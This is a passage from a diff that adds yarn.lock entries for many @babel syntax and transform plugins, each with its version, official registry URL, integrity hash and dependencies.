+  integrity sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==
+
+"@babel/plugin-syntax-async-generators@^7.8.4":
+  version "7.8.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
+  integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-bigint@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea"
+  integrity sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-class-properties@^7.12.13":
+  version "7.12.13"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
+  integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-class-static-block@^7.14.5":
+  version "7.14.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz#195df89b146b4b78b3bf897fd7a257c84659d406"
+  integrity sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.14.5"
+
+"@babel/plugin-syntax-decorators@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.25.9.tgz#986b4ca8b7b5df3f67cee889cedeffc2e2bf14b3"
+  integrity sha512-ryzI0McXUPJnRCvMo4lumIKZUzhYUO/ScI+Mz4YVaTLt04DHNSjEUjKVvbzQjZFLuod/cYEc07mJWhzl6v4DPg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-flow@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.26.0.tgz#96507595c21b45fccfc2bc758d5c45452e6164fa"
+  integrity sha512-B+O2DnPc0iG+YXFqOxv2WNuNU97ToWjOomUQ78DouOENWUaM5sVrmet9mcomUGQFwpJd//gvUagXBSdzO1fRKg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-assertions@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.26.0.tgz#620412405058efa56e4a564903b79355020f445f"
+  integrity sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-attributes@^7.24.7", "@babel/plugin-syntax-import-attributes@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.26.0.tgz#3b1412847699eea739b4f2602c74ce36f6b0b0f7"
+  integrity sha512-e2dttdsJ1ZTpi3B9UYGLw41hifAubg19AtCu/2I/F1QNVclOBr1dYpTdmdyZ84Xiz43BS/tCUkMAZNLv12Pi+A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-meta@^7.10.4":
+  version "7.10.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51"
+  integrity sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-json-strings@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
+  integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz#a34313a178ea56f1951599b929c1ceacee719290"
+  integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-logical-assignment-operators@^7.10.4":
+  version "7.10.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
+  integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
+  integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-numeric-separator@^7.10.4":
+  version "7.10.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
+  integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-object-rest-spread@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
+  integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-optional-catch-binding@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
+  integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-optional-chaining@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
+  integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-private-property-in-object@^7.14.5":
+  version "7.14.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad"
+  integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.14.5"
+
+"@babel/plugin-syntax-top-level-await@^7.14.5":
+  version "7.14.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz#c1cfdadc35a646240001f06138247b741c34d94c"
+  integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.14.5"
+
+"@babel/plugin-syntax-typescript@^7.25.9", "@babel/plugin-syntax-typescript@^7.7.2":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz#67dda2b74da43727cf21d46cf9afef23f4365399"
+  integrity sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-unicode-sets-regex@^7.18.6":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz#d49a3b3e6b52e5be6740022317580234a6a47357"
+  integrity sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
+"@babel/plugin-transform-arrow-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.25.9.tgz#7821d4410bee5daaadbb4cdd9a6649704e176845"
+  integrity sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-async-generator-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.25.9.tgz#1b18530b077d18a407c494eb3d1d72da505283a2"
+  integrity sha512-RXV6QAzTBbhDMO9fWwOmwwTuYaiPbggWQ9INdZqAYeSHyG7FzQ+nOZaUUjNwKv9pV3aE4WFqFm1Hnbci5tBCAw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.25.9.tgz#c80008dacae51482793e5a9c08b39a5be7e12d71"
+  integrity sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+
+"@babel/plugin-transform-block-scoped-functions@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.26.5.tgz#3dc4405d31ad1cbe45293aa57205a6e3b009d53e"
+  integrity sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-block-scoping@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.25.9.tgz#c33665e46b06759c93687ca0f84395b80c0473a1"
+  integrity sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-class-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz#a8ce84fedb9ad512549984101fa84080a9f5f51f"
+  integrity sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-class-static-block@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.26.0.tgz#6c8da219f4eb15cae9834ec4348ff8e9e09664a0"
+  integrity sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-classes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.25.9.tgz#7152457f7880b593a63ade8a861e6e26a4469f52"
+  integrity sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    globals "^11.1.0"
+
+"@babel/plugin-transform-computed-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.25.9.tgz#db36492c78460e534b8852b1d5befe3c923ef10b"
+  integrity sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/template" "^7.25.9"
+
+"@babel/plugin-transform-destructuring@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.25.9.tgz#966ea2595c498224340883602d3cfd7a0c79cea1"
+  integrity sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-dotall-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.25.9.tgz#bad7945dd07734ca52fe3ad4e872b40ed09bb09a"
+  integrity sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-duplicate-keys@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.25.9.tgz#8850ddf57dce2aebb4394bb434a7598031059e6d"
+  integrity sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-duplicate-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.25.9.tgz#6f7259b4de127721a08f1e5165b852fcaa696d31"
+  integrity sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-dynamic-import@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.25.9.tgz#23e917de63ed23c6600c5dd06d94669dce79f7b8"
+  integrity sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-exponentiation-operator@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.26.3.tgz#e29f01b6de302c7c2c794277a48f04a9ca7f03bc"
+  integrity sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-export-namespace-from@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.25.9.tgz#90745fe55053394f554e40584cda81f2c8a402a2"
+  integrity sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-flow-strip-types@^7.16.0":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.26.5.tgz#2904c85a814e7abb1f4850b8baf4f07d0a2389d4"
+  integrity sha512-eGK26RsbIkYUns3Y8qKl362juDDYK+wEdPGHGrhzUl6CewZFo55VZ7hg+CyMFU4dd5QQakBN86nBMpRsFpRvbQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/plugin-syntax-flow" "^7.26.0"
+
+"@babel/plugin-transform-for-of@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.25.9.tgz#4bdc7d42a213397905d89f02350c5267866d5755"
+  integrity sha512-LqHxduHoaGELJl2uhImHwRQudhCM50pT46rIBNvtT/Oql3nqiS3wOwP+5ten7NpYSXrrVLgtZU3DZmPtWZo16A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-function-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.25.9.tgz#939d956e68a606661005bfd550c4fc2ef95f7b97"
+  integrity sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-json-strings@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.25.9.tgz#c86db407cb827cded902a90c707d2781aaa89660"
+  integrity sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.25.9.tgz#1a1c6b4d4aa59bc4cad5b6b3a223a0abd685c9de"
+  integrity sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-logical-assignment-operators@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.25.9.tgz#b19441a8c39a2fda0902900b306ea05ae1055db7"
+  integrity sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-member-expression-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.25.9.tgz#63dff19763ea64a31f5e6c20957e6a25e41ed5de"
+  integrity sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-modules-amd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.25.9.tgz#49ba478f2295101544abd794486cd3088dddb6c5"
+  integrity sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-modules-commonjs@^7.25.9", "@babel/plugin-transform-modules-commonjs@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz#8f011d44b20d02c3de44d8850d971d8497f981fb"
+  integrity sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-modules-systemjs@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.25.9.tgz#8bd1b43836269e3d33307151a114bcf3ba6793f8"
+  integrity sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-modules-umd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.25.9.tgz#6710079cdd7c694db36529a1e8411e49fcbf14c9"
+  integrity sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.25.9.tgz#454990ae6cc22fd2a0fa60b3a2c6f63a38064e6a"
+  integrity sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-new-target@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.25.9.tgz#42e61711294b105c248336dcb04b77054ea8becd"
+  integrity sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-nullish-coalescing-operator@^7.26.6":
+  version "7.26.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.26.6.tgz#fbf6b3c92cb509e7b319ee46e3da89c5bedd31fe"
+  integrity sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-numeric-separator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.25.9.tgz#bfed75866261a8b643468b0ccfd275f2033214a1"
+  integrity sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-object-rest-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.25.9.tgz#0203725025074164808bcf1a2cfa90c652c99f18"
+  integrity sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
+
+"@babel/plugin-transform-object-super@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.25.9.tgz#385d5de135162933beb4a3d227a2b7e52bb4cf03"
+  integrity sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+
+"@babel/plugin-transform-optional-catch-binding@^7.25.9":
+  version "7.25.9"
